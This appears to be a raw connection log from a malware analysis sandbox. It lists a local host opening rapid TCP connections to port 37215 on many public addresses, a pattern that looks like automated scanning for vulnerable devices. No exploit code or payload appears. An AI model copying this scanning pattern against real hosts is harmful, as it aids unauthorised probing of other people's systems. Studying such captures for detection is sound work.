Sep 25, 2024 14:14:22.717453957 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:22.717453957 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:22.717911959 CEST	53512	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:22.717911959 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:22.717988968 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:22.718125105 CEST	50910	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:22.718431950 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:22.718446016 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:22.718642950 CEST	38716	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:22.718894958 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:22.718894958 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:22.719093084 CEST	49656	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:22.719342947 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:22.719342947 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:22.719544888 CEST	53772	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:22.719796896 CEST	50010	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:22.719796896 CEST	50010	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:22.720158100 CEST	50510	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:22.720253944 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:22.720253944 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:22.720446110 CEST	56178	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:22.720695972 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:22.720695972 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:22.720951080 CEST	48676	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:22.720979929 CEST	37215	45362	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:22.721164942 CEST	37215	45864	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:22.721189022 CEST	37215	53592	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:22.721235037 CEST	45864	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.721385002 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:22.721385956 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:22.721492052 CEST	37215	48752	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:22.721719027 CEST	42772	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:22.721913099 CEST	37215	36810	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:22.722110987 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:22.722110987 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:22.722371101 CEST	34058	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:22.722409964 CEST	37215	53012	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:22.722762108 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:22.722762108 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:22.722763062 CEST	37215	50414	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:22.723088980 CEST	52376	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:22.723473072 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.723473072 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.723733902 CEST	47622	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.723747969 CEST	37215	38214	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:22.723778009 CEST	37215	49154	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:22.724128962 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:22.724128962 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:22.724312067 CEST	37215	53272	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:22.724458933 CEST	42718	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:22.724730968 CEST	37215	50010	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:22.724843979 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:22.724843979 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:22.725112915 CEST	57050	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:22.725199938 CEST	37215	55680	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:22.725492001 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:22.725492001 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:22.725574970 CEST	37215	48180	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:22.725881100 CEST	36754	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:22.726116896 CEST	37215	42280	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:22.726320028 CEST	45864	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.726938009 CEST	37215	33568	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:22.727513075 CEST	37215	51890	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:22.728410006 CEST	37215	47136	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:22.728503942 CEST	37215	47622	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:22.728542089 CEST	47622	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.728563070 CEST	47622	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.729043961 CEST	37215	42234	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:22.729929924 CEST	37215	56570	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:22.730204105 CEST	37215	36276	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:22.731189966 CEST	37215	45864	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:22.731239080 CEST	45864	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.733676910 CEST	37215	47622	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:22.733710051 CEST	47622	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.741790056 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.741789103 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:22.741792917 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:22.741792917 CEST	52024	37215	192.168.2.14	156.53.121.87
Sep 25, 2024 14:14:22.741792917 CEST	54102	37215	192.168.2.14	41.16.222.49
Sep 25, 2024 14:14:22.741794109 CEST	51898	37215	192.168.2.14	156.225.159.53
Sep 25, 2024 14:14:22.741795063 CEST	59148	37215	192.168.2.14	197.44.120.177
Sep 25, 2024 14:14:22.741794109 CEST	48336	37215	192.168.2.14	41.117.142.107
Sep 25, 2024 14:14:22.741794109 CEST	42820	37215	192.168.2.14	197.168.100.169
Sep 25, 2024 14:14:22.741803885 CEST	39416	37215	192.168.2.14	197.98.159.82
Sep 25, 2024 14:14:22.741803885 CEST	53014	37215	192.168.2.14	197.208.168.19
Sep 25, 2024 14:14:22.741803885 CEST	43874	37215	192.168.2.14	156.151.243.104
Sep 25, 2024 14:14:22.741806984 CEST	41448	37215	192.168.2.14	197.20.123.61
Sep 25, 2024 14:14:22.741815090 CEST	38398	37215	192.168.2.14	197.198.99.197
Sep 25, 2024 14:14:22.741816044 CEST	50216	37215	192.168.2.14	197.159.159.94
Sep 25, 2024 14:14:22.741816998 CEST	49824	37215	192.168.2.14	197.108.17.77
Sep 25, 2024 14:14:22.741825104 CEST	37146	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:22.741826057 CEST	55284	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:22.741827011 CEST	48906	37215	192.168.2.14	41.50.188.249
Sep 25, 2024 14:14:22.741837978 CEST	33300	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:22.741837978 CEST	44170	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:22.741837978 CEST	55568	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:22.741838932 CEST	49342	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:22.741844893 CEST	39534	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:22.741846085 CEST	34388	37215	192.168.2.14	156.209.234.79
Sep 25, 2024 14:14:22.741846085 CEST	57644	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:22.746781111 CEST	37215	53846	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:22.746819019 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.746941090 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.746953011 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.747215986 CEST	54288	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.751766920 CEST	37215	53846	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:22.752159119 CEST	37215	54288	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:22.752193928 CEST	54288	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.752212048 CEST	54288	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.757648945 CEST	37215	54288	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:22.757679939 CEST	54288	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:22.761795998 CEST	37215	48752	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:22.761805058 CEST	37215	53592	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:22.761812925 CEST	37215	45362	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:22.767226934 CEST	37215	36810	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:22.769982100 CEST	37215	48180	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:22.769992113 CEST	37215	55680	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:22.769999981 CEST	37215	50010	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:22.770010948 CEST	37215	53272	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:22.770081997 CEST	37215	49154	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:22.770091057 CEST	37215	38214	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:22.770098925 CEST	37215	50414	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:22.770111084 CEST	37215	53012	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:22.770118952 CEST	37215	42234	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:22.770128012 CEST	37215	47136	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:22.770136118 CEST	37215	51890	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:22.770143986 CEST	37215	33568	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:22.770153046 CEST	37215	42280	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:22.777774096 CEST	37215	36276	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:22.777782917 CEST	37215	56570	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:22.794049978 CEST	37215	53846	197.13.5.180	192.168.2.14
Sep 25, 2024 14:14:23.445760012 CEST	52264	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:23.445775032 CEST	54234	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:23.445791006 CEST	41032	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:23.445787907 CEST	60604	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:23.445787907 CEST	33842	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.445797920 CEST	34160	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:23.445797920 CEST	43676	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:23.445796967 CEST	58800	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:23.445804119 CEST	50626	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:23.445804119 CEST	51130	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.445797920 CEST	34458	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:23.445797920 CEST	35666	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.445797920 CEST	45144	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:23.445797920 CEST	52732	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:23.445806980 CEST	51684	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:23.445806980 CEST	56692	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:23.445806980 CEST	39380	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:23.445806980 CEST	58326	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:23.445815086 CEST	49574	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:23.445828915 CEST	58854	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:23.445832968 CEST	41736	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:23.445843935 CEST	35646	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:23.445843935 CEST	50030	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:23.445872068 CEST	34922	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:23.451205969 CEST	37215	54234	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:23.451217890 CEST	37215	52264	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:23.451227903 CEST	37215	41032	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:23.451245070 CEST	37215	51684	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:23.451253891 CEST	37215	56692	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:23.451262951 CEST	37215	49574	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:23.451265097 CEST	52264	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:23.451267958 CEST	41032	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:23.451273918 CEST	37215	39380	156.10.201.221	192.168.2.14
Sep 25, 2024 14:14:23.451276064 CEST	51684	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:23.451276064 CEST	54234	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:23.451276064 CEST	56692	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:23.451282978 CEST	37215	58326	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:23.451286077 CEST	49574	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:23.451292992 CEST	37215	50626	156.133.190.48	192.168.2.14
Sep 25, 2024 14:14:23.451302052 CEST	37215	51130	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:23.451308966 CEST	39380	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:23.451318026 CEST	37215	34160	156.54.131.208	192.168.2.14
Sep 25, 2024 14:14:23.451323032 CEST	50626	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:23.451328993 CEST	58326	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:23.451329947 CEST	37215	60604	197.146.211.230	192.168.2.14
Sep 25, 2024 14:14:23.451337099 CEST	51130	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.451340914 CEST	37215	43676	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:23.451349974 CEST	37215	41736	197.176.242.81	192.168.2.14
Sep 25, 2024 14:14:23.451359034 CEST	37215	58800	156.184.32.219	192.168.2.14
Sep 25, 2024 14:14:23.451361895 CEST	34160	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:23.451368093 CEST	37215	58854	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:23.451371908 CEST	37215	34458	41.66.249.255	192.168.2.14
Sep 25, 2024 14:14:23.451376915 CEST	37215	35646	41.176.71.4	192.168.2.14
Sep 25, 2024 14:14:23.451400042 CEST	43676	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:23.451401949 CEST	41736	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:23.451404095 CEST	58800	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:23.451404095 CEST	34458	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:23.451414108 CEST	58854	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:23.451415062 CEST	60604	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:23.451421976 CEST	35646	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:23.451438904 CEST	63353	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:23.451447964 CEST	63353	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:23.451457977 CEST	63353	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:23.451457977 CEST	63353	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:23.451461077 CEST	63353	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.451463938 CEST	63353	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:23.451467037 CEST	63353	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:23.451467037 CEST	63353	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:23.451472044 CEST	63353	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:23.451472044 CEST	63353	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:23.451483011 CEST	37215	50030	156.60.202.13	192.168.2.14
Sep 25, 2024 14:14:23.451488018 CEST	63353	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:23.451488018 CEST	63353	37215	192.168.2.14	41.29.250.212
Sep 25, 2024 14:14:23.451493979 CEST	63353	37215	192.168.2.14	41.49.22.2
Sep 25, 2024 14:14:23.451495886 CEST	63353	37215	192.168.2.14	156.190.191.80
Sep 25, 2024 14:14:23.451502085 CEST	37215	33842	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:23.451503038 CEST	63353	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:23.451507092 CEST	63353	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:23.451510906 CEST	63353	37215	192.168.2.14	197.249.186.40
Sep 25, 2024 14:14:23.451513052 CEST	37215	35666	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:23.451520920 CEST	63353	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.451520920 CEST	63353	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.451522112 CEST	63353	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.451522112 CEST	63353	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.451522112 CEST	63353	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.451524019 CEST	37215	45144	197.127.121.218	192.168.2.14
Sep 25, 2024 14:14:23.451522112 CEST	63353	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.451522112 CEST	50030	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:23.451524019 CEST	63353	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.451530933 CEST	63353	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.451531887 CEST	63353	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.451534033 CEST	63353	37215	192.168.2.14	41.157.39.229
Sep 25, 2024 14:14:23.451534986 CEST	37215	52732	41.197.196.94	192.168.2.14
Sep 25, 2024 14:14:23.451540947 CEST	35666	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.451545954 CEST	37215	34922	156.217.168.64	192.168.2.14
Sep 25, 2024 14:14:23.451551914 CEST	63353	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:23.451555967 CEST	33842	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.451555967 CEST	63353	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.451561928 CEST	45144	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:23.451562881 CEST	52732	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:23.451565981 CEST	63353	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.451575041 CEST	63353	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:23.451589108 CEST	63353	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.451595068 CEST	34922	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:23.451595068 CEST	63353	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:23.451596975 CEST	63353	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:23.451597929 CEST	63353	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.451612949 CEST	63353	37215	192.168.2.14	156.194.139.1
Sep 25, 2024 14:14:23.451615095 CEST	63353	37215	192.168.2.14	156.175.36.235
Sep 25, 2024 14:14:23.451621056 CEST	63353	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.451621056 CEST	63353	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.451632023 CEST	63353	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.451637030 CEST	63353	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:23.451637983 CEST	63353	37215	192.168.2.14	197.190.127.207
Sep 25, 2024 14:14:23.451649904 CEST	63353	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.451657057 CEST	63353	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:23.451657057 CEST	63353	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:23.451666117 CEST	63353	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:23.451673985 CEST	63353	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.451675892 CEST	63353	37215	192.168.2.14	197.2.125.186
Sep 25, 2024 14:14:23.451683998 CEST	63353	37215	192.168.2.14	41.223.25.34
Sep 25, 2024 14:14:23.451687098 CEST	63353	37215	192.168.2.14	41.150.71.142
Sep 25, 2024 14:14:23.451687098 CEST	63353	37215	192.168.2.14	156.145.58.105
Sep 25, 2024 14:14:23.451694965 CEST	63353	37215	192.168.2.14	156.128.68.118
Sep 25, 2024 14:14:23.451702118 CEST	63353	37215	192.168.2.14	197.200.100.194
Sep 25, 2024 14:14:23.451703072 CEST	63353	37215	192.168.2.14	197.12.38.212
Sep 25, 2024 14:14:23.451704025 CEST	63353	37215	192.168.2.14	156.90.158.193
Sep 25, 2024 14:14:23.451708078 CEST	63353	37215	192.168.2.14	41.131.16.164
Sep 25, 2024 14:14:23.451709032 CEST	63353	37215	192.168.2.14	41.28.202.72
Sep 25, 2024 14:14:23.451709032 CEST	63353	37215	192.168.2.14	197.86.213.112
Sep 25, 2024 14:14:23.451709032 CEST	63353	37215	192.168.2.14	197.220.217.186
Sep 25, 2024 14:14:23.451714993 CEST	63353	37215	192.168.2.14	197.175.13.187
Sep 25, 2024 14:14:23.451714993 CEST	63353	37215	192.168.2.14	197.65.15.188
Sep 25, 2024 14:14:23.451716900 CEST	63353	37215	192.168.2.14	41.4.26.189
Sep 25, 2024 14:14:23.451721907 CEST	63353	37215	192.168.2.14	41.9.2.116
Sep 25, 2024 14:14:23.451725960 CEST	63353	37215	192.168.2.14	156.25.76.189
Sep 25, 2024 14:14:23.451740026 CEST	63353	37215	192.168.2.14	156.23.143.188
Sep 25, 2024 14:14:23.451740026 CEST	63353	37215	192.168.2.14	197.59.198.143
Sep 25, 2024 14:14:23.451740026 CEST	63353	37215	192.168.2.14	156.140.166.123
Sep 25, 2024 14:14:23.451759100 CEST	63353	37215	192.168.2.14	156.59.165.137
Sep 25, 2024 14:14:23.451759100 CEST	63353	37215	192.168.2.14	197.46.141.83
Sep 25, 2024 14:14:23.451761961 CEST	63353	37215	192.168.2.14	41.19.124.126
Sep 25, 2024 14:14:23.451777935 CEST	63353	37215	192.168.2.14	41.53.111.19
Sep 25, 2024 14:14:23.451777935 CEST	63353	37215	192.168.2.14	197.175.233.71
Sep 25, 2024 14:14:23.451777935 CEST	63353	37215	192.168.2.14	156.208.174.224
Sep 25, 2024 14:14:23.451780081 CEST	63353	37215	192.168.2.14	156.108.137.254
Sep 25, 2024 14:14:23.451780081 CEST	63353	37215	192.168.2.14	156.39.131.196
Sep 25, 2024 14:14:23.451782942 CEST	63353	37215	192.168.2.14	41.218.148.13
Sep 25, 2024 14:14:23.451782942 CEST	63353	37215	192.168.2.14	41.255.195.93
Sep 25, 2024 14:14:23.451790094 CEST	63353	37215	192.168.2.14	41.93.135.33
Sep 25, 2024 14:14:23.451796055 CEST	63353	37215	192.168.2.14	197.163.27.1
Sep 25, 2024 14:14:23.451796055 CEST	63353	37215	192.168.2.14	41.64.183.106
Sep 25, 2024 14:14:23.451802969 CEST	63353	37215	192.168.2.14	197.255.3.199
Sep 25, 2024 14:14:23.451807022 CEST	63353	37215	192.168.2.14	197.115.33.40
Sep 25, 2024 14:14:23.451817036 CEST	63353	37215	192.168.2.14	197.18.175.172
Sep 25, 2024 14:14:23.451819897 CEST	63353	37215	192.168.2.14	156.187.116.197
Sep 25, 2024 14:14:23.451822042 CEST	63353	37215	192.168.2.14	156.209.228.27
Sep 25, 2024 14:14:23.451826096 CEST	63353	37215	192.168.2.14	41.86.98.107
Sep 25, 2024 14:14:23.451833963 CEST	63353	37215	192.168.2.14	197.252.27.62
Sep 25, 2024 14:14:23.451834917 CEST	63353	37215	192.168.2.14	156.167.231.131
Sep 25, 2024 14:14:23.451836109 CEST	63353	37215	192.168.2.14	41.255.197.191
Sep 25, 2024 14:14:23.451843977 CEST	63353	37215	192.168.2.14	197.24.156.230
Sep 25, 2024 14:14:23.451843977 CEST	63353	37215	192.168.2.14	41.15.183.133
Sep 25, 2024 14:14:23.451847076 CEST	63353	37215	192.168.2.14	156.80.63.253
Sep 25, 2024 14:14:23.451857090 CEST	63353	37215	192.168.2.14	197.204.15.14
Sep 25, 2024 14:14:23.451857090 CEST	63353	37215	192.168.2.14	156.211.220.45
Sep 25, 2024 14:14:23.451858044 CEST	63353	37215	192.168.2.14	197.30.143.252
Sep 25, 2024 14:14:23.451858997 CEST	63353	37215	192.168.2.14	197.70.72.100
Sep 25, 2024 14:14:23.451872110 CEST	63353	37215	192.168.2.14	41.178.25.54
Sep 25, 2024 14:14:23.451872110 CEST	63353	37215	192.168.2.14	156.201.16.56
Sep 25, 2024 14:14:23.451872110 CEST	63353	37215	192.168.2.14	41.86.76.232
Sep 25, 2024 14:14:23.451880932 CEST	63353	37215	192.168.2.14	41.232.71.221
Sep 25, 2024 14:14:23.451880932 CEST	63353	37215	192.168.2.14	197.213.209.187
Sep 25, 2024 14:14:23.451894999 CEST	63353	37215	192.168.2.14	197.129.16.22
Sep 25, 2024 14:14:23.451904058 CEST	63353	37215	192.168.2.14	41.81.215.148
Sep 25, 2024 14:14:23.451904058 CEST	63353	37215	192.168.2.14	197.148.17.69
Sep 25, 2024 14:14:23.451904058 CEST	63353	37215	192.168.2.14	197.93.143.204
Sep 25, 2024 14:14:23.451915979 CEST	63353	37215	192.168.2.14	156.1.58.1
Sep 25, 2024 14:14:23.451916933 CEST	63353	37215	192.168.2.14	156.61.217.212
Sep 25, 2024 14:14:23.451920986 CEST	63353	37215	192.168.2.14	41.6.147.75
Sep 25, 2024 14:14:23.451929092 CEST	63353	37215	192.168.2.14	156.33.222.124
Sep 25, 2024 14:14:23.451930046 CEST	63353	37215	192.168.2.14	41.60.138.74
Sep 25, 2024 14:14:23.451936007 CEST	63353	37215	192.168.2.14	156.115.242.49
Sep 25, 2024 14:14:23.451937914 CEST	63353	37215	192.168.2.14	156.249.124.129
Sep 25, 2024 14:14:23.451939106 CEST	63353	37215	192.168.2.14	156.228.196.129
Sep 25, 2024 14:14:23.451940060 CEST	63353	37215	192.168.2.14	41.93.0.225
Sep 25, 2024 14:14:23.451952934 CEST	63353	37215	192.168.2.14	197.125.94.113
Sep 25, 2024 14:14:23.451953888 CEST	63353	37215	192.168.2.14	197.213.252.99
Sep 25, 2024 14:14:23.451961994 CEST	63353	37215	192.168.2.14	41.225.117.43
Sep 25, 2024 14:14:23.451962948 CEST	63353	37215	192.168.2.14	197.157.77.110
Sep 25, 2024 14:14:23.451963902 CEST	63353	37215	192.168.2.14	156.139.49.40
Sep 25, 2024 14:14:23.451970100 CEST	63353	37215	192.168.2.14	156.223.236.209
Sep 25, 2024 14:14:23.451982975 CEST	63353	37215	192.168.2.14	41.15.102.134
Sep 25, 2024 14:14:23.451987982 CEST	63353	37215	192.168.2.14	197.35.13.62
Sep 25, 2024 14:14:23.451989889 CEST	63353	37215	192.168.2.14	197.199.37.220
